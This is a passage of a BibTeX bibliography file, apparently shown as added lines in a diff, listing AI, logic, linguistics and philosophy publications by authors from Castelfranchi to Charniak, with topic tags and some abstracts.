{cooperation;distributed-systems;artificial-societies;} + } + +@inproceedings{ castelfrianchi-falcone:1998a, + author = {Cristiano Castelfrianchi and R. Falcone}, + title = {Principles of Trust for {MAS}: Cognitive + Anatomy, Social Importance, and Quantification}, + booktitle = {Proceedings of the Third International Conference + on Multi-Agent Systems ({ICMAS}'98)}, + year = {1998}, + editor = {Y. Demazeau}, + pages = {72--79}, + publisher = {IEEE}, + address = {Los Alamitos, CA}, + missinginfo = {A's 1st name, E's 1st name}, + topic = {cooperation;distributed-systems;artificial-societies;} + } + +@article{ castillo_e-etal:1997a, + author = {Enrique Castillo and Cristina Solares and Patricia G\'omez}, + title = {Tail Uncertainty Analysis in Complex Systems}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {96}, + number = {2}, + pages = {395--419}, + acontentnote = {Abstract: + The paper presents an efficient computational method for + estimating the tails of a target variable Z which is related to + other set of bounded variables + $\stackrel{\ESM{\longrightarrow}}{X}=(X1,...,Xn)$ by an + increasing (decreasing) relation $Z=h(X1,...,Xn)$. To this aim, + variables $Xi, i=1,...,n$ are sequentially simulated in such a + manner that $Z=h(x1,...,xi-1,Xi,...,Xn)$ is guaranteed to be in + the tail of $Z$. The method is shown to be very useful to perform + an uncertainty analysis of Bayesian networks, when very large + confidence intervals for the marginal/conditional probabilities + are required, as in reliability or risk analysis. The method is + shown to behave best when all scores coincide and is illustrated + with several examples, including two examples of application to + real cases. A comparison with the fast probability integration + method, the best known method to date for solving this problem, + shows that it gives better approximations.}, + topic = {Bayesian-networks;uncertainty-analysis;} + } + +@article{ castillo_m-etal:1999a, + author = {M. Castillo and Olivier Gasquet and Andreas Herzig}, + title = {Formalizing Action and Change in Modal Logic {I}: The Frame + Problem}, + journal = {Journal of Logic and Computation}, + year = {1999}, + volume = {9}, + missinginfo = {A's 1st name, number, pages}, + topic = {frame-problem;action;formalisms;modal-logic;} + } + +@article{ caston:1998a, + author = {Victor Caston}, + title = {Epiphenomenalisms, Ancient and Modern}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {106}, + number = {3}, + pages = {309--363}, + topic = {epiphenomenalism;} + } + +@inproceedings{ castro:1998a, + author = {Carlos Castro}, + title = {{COLLETTE}, Prototyping {CSP} Problem Solvers + Using a Rule-Based Language}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {107--119}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {constraint-satisfaction;} + } + +@article{ catford:1969a, + author = {John Catford}, + title = {Learning a Language in the Field: Problems of Linguistic + Relativity}, + journal = {Modern Language Journal}, + year = {1969}, + volume = {53}, + number = {5}, + missinginfo = {pages}, + topic = {linguistic-relativity;field-linguistics;} + } + +@incollection{ caton:1971a, + author = {Charles E. Caton}, + title = {Overview}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {3--13}, + address = {Cambridge, England}, + topic = {philosophy-of-language;} + } + +@incollection{ caton:1981a, + author = {Charles E. Caton}, + title = {Stalnaker on Pragmatic Presupposition}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {83--100}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@inproceedings{ catton:1998a, + author = {Philip Catton}, + title = {Problems with the Deductivist Image of Scientific + Reasoning}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {452--473}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {scientific-reasoning;} + } + +@book{ cauman-etal:1983a, + editor = {Leigh S. Cauman, Isaac Levi, Charles Parsons and Robert + Schwartz}, + title = {How Many Questions? Essays in Honor of {S}idney + {M}orgenbesser}, + publisher = {Hackett}, + year = {1983}, + address = {Indianapolis}, + topic = {philosophy-general;} + } + +@book{ cauman:1998a, + author = {Leigh S. Cauman}, + title = {First-Order Logic}, + publisher = {Walter de Gruyter}, + year = {1998}, + address = {Berlin}, + topic = {logic-intro;} + } + +@techreport{ causey:1990a, + author = {Robert L. Causey}, + title = {{EVID}: A System for Interactive Defeasible Reasoning}, + institution = {Aritificial Intelligence Laboraroty, The University + of Texas at Austin}, + number = {A190--119}, + year = {1990}, + address = {Austin, Texas}, + topic = {nonmonotonic-reasoning;} + } + +@incollection{ cavazza-zweigenbaum:1995a, + author = {Marc Cavazza and Pierre Zweigenbaum}, + title = {Lexical Semantics: Dictionary or Encyclopedia?}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {336--347}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;} + } + +@article{ cave:1983a, + author = {J. Cave}, + title = {Learning to Agree}, + journal = {Economics Letters}, + year = {1983}, + volume = {12}, + pages = {147--152}, + missinginfo = {A's 1st name, number}, + topic = {agreeing-to-disagree;mutual-beliefs;mutual-agreement;} + } + +@article{ cavell:1958a, + author = {Stanley Cavell}, + title = {Must We Mean What We Say?}, + journal = {Inquiry}, + year = {1958}, + volume = {1}, + pages = {152--212}, + missinginfo = {number}, + topic = {speaker-meaning;JL-Austin;pragmatics;} + } + +@incollection{ cavell:1969a, + author = {Stanley Cavell}, + title = {Austin at Criticism}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {59--75}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@book{ cavell:1979a, + author = {Stanley Cavell}, + title = {The Claim of Reason}, + publisher = {Oxford University Press}, + year = {1979}, + address = {Oxford}, + ISBN = {0-19-502571-7}, + topic = {skepticism;epistemology;} + } + +@book{ cavinesse-boyle:1990a, + editor = {B.F. Cavinesse and F. Boyle}, + title = {Future Directions for Research in Symbolic + Computation}, + publisher = {Society for Industrial and Applied Mathematics}, + year = {1990}, + address = {Philadelphia}, + topic = {symbolic-computation;computer-assisted-science;} + } + +@incollection{ cawsey:1990a, + author = {Alison Cawsey}, + title = {Generating Explanatory Discourse}, + booktitle = {Current Research in Natural Language Generation}, + year = {1990}, + editor = {Robert Dale and Chris Mellish and Michael Zock}, + publisher = {Academic Press}, + topic = {explanation;discourse;discourse-planning;nl-generation; + pragmatics;} +} + +@book{ cawsey:1992a, + author = {Alison Cawsey}, + title = {Explanation and Interaction: The Computer Generation of + Explanatory Dialogues}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + year = {1992}, + ISBN = {0262032023}, + topic = {explanation;discourse;discourse-planning;nl-generation; + pragmatics;computational-dialogue;} + } + +@article{ cawsey:1993a, + author = {Alison Cawsey}, + title = {Planning Interactive Explanations}, + journal = {International Journal of Man-Machine Studies}, + year = {1993}, + volume = {38}, + number = {2}, + topic = {explanation;discourse;discourse-planning;nl-generation; + pragmatics;} +} + +@inproceedings{ cayrol:1995a, + author = {Claudette Cayrol}, + title = {On the Relation Between Argumentation and Non-Monotonic + Coherence-Based Entailment}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1443--1448}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nonmonotonic-reasoning;belief-revision;argument-systems;} + } + +@article{ cayrol-etal:2001a, + author = {Michel Cayrol and Pierre R\'egnier and Vincent Vidal}, + title = {Least Commitment in Graphplan}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {130}, + number = {1}, + pages = {85--118}, + topic = {planning-algorithms;graph-based-reasoning;} + } + +@inproceedings{ centineo:1995a, + author = {Giulia Centineo}, + title = {The Distribution of {\em si} in {I}talian + Transitive/Inchoative Pairs}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {54--71}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;argument-structure;Italian-language; + reflexive-constructions;} + } + +@book{ cercone:1987a, + editor = {Nick Cercone and Gordon McCalla}, + title = {The Knowledge Frontier}, + publisher = {Springer-Verlag}, + year = {1987}, + address = {Berlin}, + topic = {kr;kr-course;} + } + +@incollection{ cercone-etal:1992a, + author = {Nick Cercone and Randy Goebel and John de Haan and + Stephanie Schaeffer}, + title = {The {ECO} Family}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {95--131}, + address = {Oxford}, + contentnote = {ECO is another way of translating logic into graph-based + notation, with extensions to handle features of NL not + commonly dealt with in FOL. Quantifiers, descriptions, time, + adverbs, intensional constructions. The description of the + associated reasoning procedures is pretty vague. Apparently + there is a general theorem prover and there are various + specialized reasoners. Len Schubert seems to have played a + role in it early on; it looks as if he has dropped out. + } , + topic = {kr;semantic-networks;kr-course;} + } + +@article{ cerf:1966a1, + author = {Walter Cerf}, + title = {Critical Notice of {\it How to Do Things With Words}}, + journal = {Mind}, + year = {1975}, + volume = {66}, + pages = {262--285}, + missinginfo = {number}, + xref = {Reprinted in fann:1969a; see cerf:1966a2}, + topic = {JL-Austin;speech-acts;pragmatics;ordinary-language-philosophy;} + } + +@incollection{ cerf:1966a2, + author = {Walter Cerf}, + title = {Critical Review of {\it How to Do Things With Words}, by + {J}ohn {L}. {A}ustin}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {351--379}, + address = {London}, + missinginfo = {E's 1st name.}, + xref = {Reprinted; see cerf:1966a1}, + topic = {JL-Austin;speech-acts;pragmatics;ordinary-language-philosophy;} + } + +@incollection{ cervesato-etal:1998a, + author = {Iliano Cervesato and Massimo Franceschet and Angelo + Montanari}, + title = {The Complexity of Model Checking in Modal Event Calculi + with Quantifiers}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {368--379}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;event-calculus;kr-course;} + } + +@incollection{ cettolo-etal:1998a, + author = {Mauro Cettolo and Roberto Gretter and Renato de + Mori}, + title = {Knowledge Integration}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {231--256}, + address = {New York}, + contentnote = {I.e., integrating speech with lexical models.}, + topic = {speech-recognition;acoustic-modeling;} + } + +@incollection{ cettolo-etal:1998b, + author = {Mauro Cettolo and Roberto Gretter and Renato de + Mori}, + title = {Search and Generation of Word Hypotheses}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {257--309}, + address = {New York}, + topic = {speech-recognition;word-hypotheses;} + } + +@incollection{ chafe:1976a, + author = {Wallace Chafe}, + title = {Givenness, Contrastiveness, Definiteness, Subjects, Topics, and + Points of View}, + booktitle = {Subject and Topic}, + publisher = {Academic Press}, + year = {1976}, + editor = {C.N. Li}, + pages = {25--55}, + address = {New York}, + missinginfo = {E's 1st name}, + topic = {s-topic;d-topic;pragmatics;} + } + +@article{ chafe:1988a, + author = {Wallace Chafe}, + title = {Punctuation and the Prosody of Written Language}, + journal = {Written Communication}, + volume = {5}, + number = {4}, + pages = {395--426}, + year = {1988}, + topic = {punctuation;} +} + +@book{ chagov-zakharyaschev:1997a, + author = {Alexander Chagov and Michael Zakharyaschev}, + title = {Modal Logic}, + publisher = {Oxford University Press}, + year = {1997}, + xref = {Reviews: goranko:1999a, venema:2000a.}, + topic = {modal-logic;} + } + +@book{ chagrov-zakharyaschev:1996a, + author = {Akexander Chagrov and Michael Zakharyaschev}, + title = {Modal Logic}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {modal-logic;} + } + +@incollection{ chagrova:1998a, + author = {Lilia Chagrova}, + title = {On the Degree of Neighborhood Incompleteness + of Normal Modal Logics}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {63--72}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@incollection{ chai_jy-bierman:1997a, + author = {Joyce Yue Chai and Alan W. Bierman}, + title = {The Use of Lexical Semantics in Information Extraction}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {61--70}, + address = {New Brunswick, New Jersey}, + topic = {lexical-semantics;information-retrieval;} + } + +@book{ chai_l:1998a, + author = {Leon Chai}, + title = {Jonathan {E}dwards and the Limits of Enlightenment + Philosophy}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + topic = {Jonathan_Edwards;} + } + +@book{ chaitin:1987a, + author = {Gregory J. Chaitin}, + title = {Algorithmic Information Theory}, + publisher = {Cambridge University Press}, + address = {Cambridge}, + year = {1987}, + ISBN = {0521343062}, + topic = {algorithmic-complexity;} + } + +@incollection{ chaitin:1988a, + author = {Gregory J. Chaitin}, + title = {An Algebraic Equation for the Halting + Probability}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {279--283}, + address = {Oxford}, + topic = {foundations-of-computation;theory-of-computation;} + } + +@book{ chaitin:1998a, + author = {Gregory J. Chaitin}, + title = {The Limits of Mathematics: A Course on Information + Theory and the Limits of Reasoning}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {981308359X}, + xref = {Review: djukic:2001a.}, + topic = {algorithmic-information-theory;algorithmic-complexity;} + } + +@book{ chaitin:1999a, + author = {Gregory J. Chaitin}, + title = {The Unknowable}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + ISBN = {9814021725 (hardcover)}, + topic = {complexity-theory;goedels-first-theorem;} + } + +@book{ chaitin:2001a, + author = {Gregory J. Chaitin}, + title = {Exploring Randomness}, + publisher = {Springer-Verlag}, + year = {2001}, + address = {Berlin}, + ISBN = {1852334177 (acid-free paper)}, + topic = {complexity-theory;randomness;} + } + +@inproceedings{ chajewska-etal:1998a, + author = {Urszula Chajewska and L. Getoor and J. Norman and Y. Shahar}, + title = {Utility Elicitation as a Classification Problem}, + booktitle = {Uncertainty in Artificial Intelligence. Proceedings of + the Fourteenth Conference (1998)}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + year = {1998}, + pages = {79--88}, + topic = {preference-elicitation;} + } + +@article{ chakrabarti-etal:1986a, + author = {P.P. Chakrabarti and S. Ghose and S.C. DeSarkar}, + title = {Heuristic Search through Islands}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {3}, + pages = {339--347}, + topic = {search;} + } + +@article{ chakrabarti-etal:1987a, + author = {P.P. Chakrabarti and S. Ghose and S.C. DeSarkar}, + title = {Admissibility of {AO}* when Heuristics Overestimate}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {34}, + number = {1}, + pages = {97--113}, + topic = {AI-algorithms-analysis;} + } + +@article{ chakrabarti-etal:1989a, + author = {P.P. Chakrabarti and S. Ghose and A. Acharya and S.C. + de Sarkar}, + title = {Heuristic Search in Restricted Memory}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {197--221}, + topic = {search;heuristics;} + } + +@article{ chakrabarti:1994a, + author = {P.P. Chakrabarti}, + title = {Algorithms for Searching Explicit {AND/OR} Graphs and Their + Applications to Problem Reduction Search}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {2}, + pages = {329--345}, + topic = {search;and/or-graphs;} + } + +@incollection{ chalasani-etal:1991a, + author = {Prasad Chalasani and Oren Etzioni and John Mount}, + title = {Integrating Efficient Model-Learning and Problem-Solving + Algorithms in Permutation Environments}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {89--98}, + address = {San Mateo, California}, + topic = {machine-learning;complexity-in-AI;} + } + +@book{ chalmers:1996a, + author = {David J. Chalmers}, + title = {The Conscious Mind: In Search of a Fundamental Theory}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + ISBN = {0195105532}, + topic = {philosophy-of-mind;consciousness;} + } + +@article{ chalmers-jackson_j:2001a, + author = {David J. Chalmers and Frank Jackson}, + title = {Conceptual Analysis and Reductive Explanation}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {110}, + number = {3}, + pages = {315--360}, + topic = {reduction;a-priori;metaphysics;} + } + +@inproceedings{ chalupsky:2000a, + author = {Hans Chalupsky}, + title = {Onto{M}orph: A Translation System for Symbolic Logic}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {471--482}, + topic = {knowledge-integration;} + } + +@incollection{ champagne-etal:1999a, + author = {Maud Champagne and Jacques Virbel and Jean-Luc + Nespoulous}, + title = {The Differential (?) Processing of Literal and + Non-Literal Speech Acts: A Psycholinguistic Approach}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {451--454}, + address = {Berlin}, + topic = {context;speech-acts;psycholinguistics;} + } + +@article{ chandler_h:1967a, + author = {Hugh Chandler}, + title = {Excluded Middle}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {24}, + pages = {807--814}, + topic = {truth-value-gaps;negation;vagueness;} + } + +@article{ chandler_m:1988a, + author = {Marthe Chandler}, + title = {Models of Voting Behavior in Survey Research}, + journal = {Synth\'ese}, + year = {1988}, + volume = {76}, + number = {1}, + pages = {25--48}, + topic = {voting-behavior;philosophy-of-social-science;} + } + +@incollection{ chandrasekaran-etal:1995a, + author = {B. Chandrasekaran and Janice Glasgow and N. Hari Narayanan}, + title = {Introduction}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {xv--xxvii}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + cognitive-psychology;visual-reasoning;} + } + +@book{ chandy-misra:1988a, + author = {K. Chandy and J. Misra}, + title = {Parallel Program Design: A Foundation}, + publisher = {Addison-Wesley}, + year = {1988}, + address = {Reading, Massachusetts}, + missinginfo = {A's 1st name, number}, + topic = {distributed-systems;} + } + +@article{ chang_cc:1964a, + author = {Chen-Chung Chang}, + title = {Some New Results in Definability}, + journal = {Bulletin of the {A}merican Mathematical Society}, + year = {1964}, + volume = {70}, + pages = {808--813}, + missinginfo = {number}, + topic = {Beth's-theorem;} + } + +@article{ chang_cl:1970a, + author = {C.L. Chang}, + title = {Renamable Paramodulation for Automatic Theorem Proving + with Equality}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {247--256}, + topic = {theorem-proving;} + } + +@article{ chang_cl-slagle:1970a, + author = {C.L. Chang and J.R. Slagle}, + title = {An Admissible and Optimal Algorithm for + Searching {AND/OR} graphs}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {2}, + pages = {117--128}, + topic = {search;graph-based-reasoning;} + } + +@article{ chang_cl-slagle:1979a1, + author = {C.L. Chang and James R. Slagle}, + title = {Using Rewriting Rules for Connection Graphs to Prove + Theorems}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {2}, + pages = {159--178}, + xref = {Republication: chang-slagle:1979a2.}, + topic = {theorem-proving;graph-based-reasoning;} + } + +@incollection{ chang_cl-slagle:1979a2, + author = {C.L. Chang and James R. Slagle}, + title = {Using Rewriting Rules for Connection Graphs to Prove + Theorems}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {109--118}, + address = {Los Altos, California}, + xref = {Journal Publication: chang-slagle:1979a1.}, + topic = {theorem-proving;graph-based-reasoning;} + } + +@inproceedings{ chang_js1-chen_mh:1997a, + author = {Jason S. Chang and Mathis H. Chen}, + title = {An Alignment Method for Noisy Parallel Corpora + Based on Image Processing Techniques}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {297--304}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {text-alignment;} + } + +@inproceedings{ chang_js2-etal:1995a, + author = {Jing-Shin Chang et al.}, + title = {Automatic Construction of a {C}hinese Electronic + Dictionary}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {107--120}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + missinginfo = {Other aus.}, + topic = {corpus-linguistics;machine-learning;dictionary-construction; + machine-readable-dictionaries;} + } + +@book{ chang_r:1997a, + editor = {Ruth Chang}, + title = {Incommensurability, Incomparability, and Practical Reasoning}, + publisher = {Harvard University Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0674447557}, + contentnote = {TC: + 1. Ruth Chang, "Introduction" + 2. James Griffin, "Incommensurability: What's the + Problem?" + 3. David Wiggins, "Incommensurability: Four Proposals" + 4. John Broome, "Is Incommensurability Vagueness?" + 5. Elizabeth Anderson, "Practical Reason and Incommensurable + Goods" + 6. Joseph Raz, "Incommensurability and agency" + 7. Donald Regan, "Value, Comparability, and Choice" + 8. Elijah Millgram, "Incommensurability and Practical + Reasoning" + 9. Charles Taylor, "Leading a life" + 10. Steven Lukes, "Comparing the Incomparable: Trade-Offs and + Sacrifices" + 11. Michael Stocker, "Abstract and Concrete Value: Plurality, + Conflict, and Maximization" + 12. John Finnis, "Commensuration and Public Reason" + } , + topic = {incommensurability-in-ethics;} + } + +@book{ chang_r:1998a, + editor = {Ruth Chang}, + title = {Incommensurability, Incomparability, and Practical + Reasoning}, + publisher = {Harvard University Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + topic = {practical-reasoning;foundations-of-utility;} + } + +@article{ chapman:1972a, + author = {Tobias Chapman}, + title = {On a New Escape from Logical Determinism}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {324}, + pages = {597--599}, + xref = {Criticism of: cahn_sm:1967a.}, + xref = {Reply: cahn_sm:1974a.}, + topic = {future-contingent-propositions;} + } + +@article{ chapman_d:1985a, + author = {David Chapman}, + title = {Planning for Conjunctive Goals}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {32}, + number = {3}, + pages = {333--377}, + topic = {planning;} + } + +@book{ chapman_s:2000a, + author = {Siobhan Chapman}, + title = {Philosophy for Linguists}, + publisher = {Routledge}, + year = {2000}, + address = {New York}, + ISBN = {041520659-6 (paperback)}, + topic = {philosophy-and-linguistics;philosophy-of-language;} + } + +@book{ chapman_t:1982a, + author = {T. Chapman}, + title = {Time: A Philosophical Analysis}, + publisher = {D. Reidel Publishing Co.}, + year = {1982}, + address = {Dordrecht}, + topic = {philosophy-of-time;(in)determinism;causality;temporal-logic;} + } + +@article{ chapuis:1996a, + author = {Andr\'e Chapuis}, + title = {Alternative Revision Theories of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {4}, + pages = {399--423}, + topic = {truth;} + } + +@article{ charland:2001a, + author = {Louis C. Charland}, + title = {Review of {\em Strong Feelings: Emotion, Addiction, and + Human Behavior}, by {J}on {E}lster}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {108--110}, + xref = {Review of elster:1999b.}, + topic = {emotion;addiction;} + } + +@book{ charles_d:1984a, + author = {David Charles}, + title = {Aristotle's Philosophy of Action}, + publisher = {Duckworth}, + year = {1984}, + address = {London}, + topic = {philosophy-of-action;} + } + +@book{ charniak-wilks:1976a, + editor = {Eugene Charniak and Yorick A. Wilks}, + title = {Computational Semantics: an Introduction to Artificial + Intelligence and Natural Language Comprehension}, + publisher = {North-Holland}, + year = {1976}, + address = {Amsterdam}, + ISBN = {0444111107}, + topic = {nlp-survey;computational-semantics;} + } + +@article{ charniak:1978a, + author = {Eugene Charniak}, + title = {On the Use of Framed Knowledge in Language Comprehension}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {3}, + pages = {225--265}, + acontentnote = {Abstract: + Notions like ``frames'', ``scripts'' etc. are now being used in + programs to uderstand connected discourse. We will describe a + program in this vein which understands simple stories about + painting. (Jack was painting a chair. He dipped a brush into + some paint. Q: Why?) In particular, problems of matching, read + time inference, and undoing false conclusions will be stressed. + The program makes heavy use of real world knowledge, and there + is an extensive discussion of various issues in knowledge + representation and how they affect frame representations: + modularity, the need for problem solving, wordly vs control + knowledge, and cleanliness. The paper concludes with an + extensive discussion of the program's shortcomings. } , + topic = {frames;nl-processing;} + } + +@book{ charniak-etal:1980a, + author = {Eugene Charniak and Christopher K. Riesbeck and Drew + McDermott}, + title = {Artificial Intelligence Programming}, + publisher = {Lawrence Erlbaum Associates}, + year = {1980}, + address = {Hillsdale, New Jersey}, + ISBN = {0898590043}, + xref = {Review: london:1980a.}, + topic = {AI-programming;AI-intro;} + } + +@article{ charniak:1981a, + author = {Eugene Charniak}, + title = {A Common Representation for Problem-Solving and + Language-Comprehension Information}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {3}, + pages = {225--255}, + acontentnote = {Abstract: + Many in Artificial Intelligence have noted the common concerns + of problem-solving and language-comprehension research. Both + must represent large bodies of real world knowledge, and both + must use such knowledge to infer new facts from old. Despite + this the two subdisciplines have, with minor exceptions, kept + arm's length. So, for example, many in language comprehension + have adopted some form of `frame' representation, while + problem-solving people have tended to use predicate calculus. + In this paper I will first show that this is not merely + idiosyncratic behavior, but rather stems from the different + issues stressed by the two areas, problem solvers being + primarily concerned with deep inferences in narrow domains, + while language comprehenders being more concerned with shallow + inference in broader areas. I will then suggest a compromise + position which will use both frames and predicate calculus, and + then show how this representation has features desired by both + camps.}, + topic = {kr;frames;natural-language-undersrtanding;problem-solving;} + } + +@article{ charniak:1983a, + author = {Eugene Charniak}, + title = {Passing Markers: A Theory of Contextual Influence in + Language Comprehension}, + journal = {Cognitive Science}, + year = {1983}, + volume = {7}, + pages = {171--190}, + missinginfo = {number}, + topic = {context;nl-comprehension-psychology;} + } + +@book{ charniak-mcdermott_d:1985a, + author = {Eugene Charniak and Drew McDermott}, + title = {Introduction to Artificial Intelligence}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1985}, + address = {Reading, Massachusetts}, + ISBN = {0201119455}, + topic = {AI-intro;} + } + +@inproceedings{ charniak:1986b1, + author = {Eugene Charniak}, + title = {Jack and {J}anet in Search of a Theory of Knowledge}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1973}, + editor = {Max B. Clowes}, + pages = {337--343}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Menlo Park, California}, + xref = {Republished in grosz-etal:1986a; see charniak:1986b2.}, + topic = {nl-understanding;} + } + +@incollection{ charniak:1986b2, + author = {Eugene Charniak}, + title = {Jack and {J}anet in Search of a Theory of Knowledge}, + booktitle = {Readings in Natural Language Processing}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Barbara G. Grosz and Karen Sparck-Jones and Bonnie L. Webber}, + pages = {331--338}, + address = {Los Altos, California}, + missinginfo = {Original publication: charniak:1986b1.}, + topic = {nl-understanding;} + } + +@inproceedings{ charniak-etal:1986a, + author = {Eugene Charniak}, + title = {A Neat Theory of Marker Passing}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {584--588}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {parallel-processing;marker-passing;} + } + +@article{ charniak:1987a, + author = {Eugene Charniak}, + title = {Logic and Explanation}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {172--174}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@book{ charniak-etal:1987a, + author = {Eugene Charniak and Christopher K. Riesbeck and Drew V. + McDermott}, + title = {Artificial Intelligence Programming}, + edition = {2}, + publisher = {Lawrence Erlbaum Associates}, + year = {1987}, + address = {Hillsdale, New Jersey}, + ISBN = {0898596092}, + topic = {AI-programming;AI-intro;} + } + +@article{ charniak:1988a, + author = {Eugene Charniak}, + title = {Motivation 